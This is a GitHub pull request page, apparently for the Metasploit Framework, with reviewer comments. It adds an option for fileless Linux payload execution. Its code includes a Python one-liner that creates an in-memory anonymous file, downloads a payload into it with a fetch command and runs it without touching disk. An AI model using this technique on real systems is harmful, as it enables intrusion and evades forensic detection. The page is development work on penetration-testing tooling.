Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding option to run fileless ELF execution with Python #19943

Open
wants to merge 5 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

With the report of failing FETCH_FILELESS in restricted/no-gui environment, there should be probably some alternative until the more reliable method is available. This PR adds the alternative option. The new method - FETCH_FILELESS_PYTHON creates anonymous handle using Python, copies payload into that handle and runs it. The logic/technique is similar to original FETCH_FILELESS, but the fetch payload creates its own handle.

@dledda-r7 dledda-r7 self-assigned this Mar 5, 2025
@dledda-r7 dledda-r7 added the rn-payload-enhancement release notes for enhanced payloads label Mar 5, 2025
Comment on lines 7 to 8
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false], conditions: ['FETCH_FILELESS_PYTHON','==', 'false']),
Msf::OptBool.new('FETCH_FILELESS_PYTHON', [true, 'Attempt to run payload without touching disk using Python3, Python ≥3.8 and Linux ≥3.17 only ', false], conditions: ['FETCH_FILELESS','==', 'false']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would re-phrase including the fact with the standard FETCH_FILELESS we are looking for a memfd candidate from external processes and with python we are creating one.

@@ -210,6 +210,8 @@ def _execute_win(get_file_cmd)

def _execute_nix(get_file_cmd)
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As these options seem to be mutually exclusive (FETCH_FILELESS_PYTHON won't get executed if FETCH_FILELESS is true), could we change the FETCH_FILELESS datastore option to an OptEnum? That way, we could potentially use:

set FETCH_FILELESS none (default?)
set FETCH_FILELESS python3.8+
set FETCH_FILELESS ruby
set FETCH_FILELESS bash


# same idea as _generate_fileless function, but force creating anonymous file handle
def _generate_fileless_python(get_file_cmd)
%Q<python3 -c 'import os, time; fd=os.memfd_create ("", os.MFD_CLOEXEC); os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\"; #{get_file_cmd}; $f &")'>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
%Q<python3 -c 'import os, time; fd=os.memfd_create ("", os.MFD_CLOEXEC); os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\"; #{get_file_cmd}; $f &")'>
%Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'>

No need for spurious spaces

@@ -209,7 +209,9 @@ def _execute_win(get_file_cmd)
end

def _execute_nix(get_file_cmd)
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'

Probably worthwhile to specify this should work with future python, too.

@@ -4,7 +4,7 @@ def initialize(info = {})
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8']]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8']]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),

Same as above comment. I'm assuming we can have special characters in the ENUM.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement rn-payload-enhancement release notes for enhanced payloads
Projects
Status: In Progress
Development

Successfully merging this pull request may close these issues.

5 participants